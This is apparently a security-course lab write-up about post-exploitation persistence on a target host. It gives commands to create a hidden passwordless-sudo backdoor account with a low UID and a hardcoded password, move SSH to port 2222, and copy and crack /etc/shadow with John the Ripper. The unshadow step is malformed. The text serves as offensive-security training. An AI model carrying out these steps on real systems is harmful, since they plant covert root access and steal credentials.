**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

sudo adduser --no-create-home sysd

1. Give your secret user a password:
   * Haxxorz12345
2. Give your secret user a system UID < 1000:

sudo usermod -u 900 sysd

1. Give your secret user the same GID:

sudo usermod -a -G sysadmin sysd

1. Give your secret user full sudo access without the need for a password:

sudo visudo

at the bottom add: sysd ALL=(ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:

Switch user: su sysd

Check sudo works: sudo ls

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

sudo nano /etc/ssh/sshd\_config

add: Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

sudo systemctl restart ssh.service

1. Exit the root account:

~.

1. SSH to the target machine using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:

sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

or while connected as root because of step 3part4: sudo su sysd

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

sudo su

sudo cp /etc/shadow shadow.txt

sudo unshadow /etc/shadow.txt

sudo john shadow.txt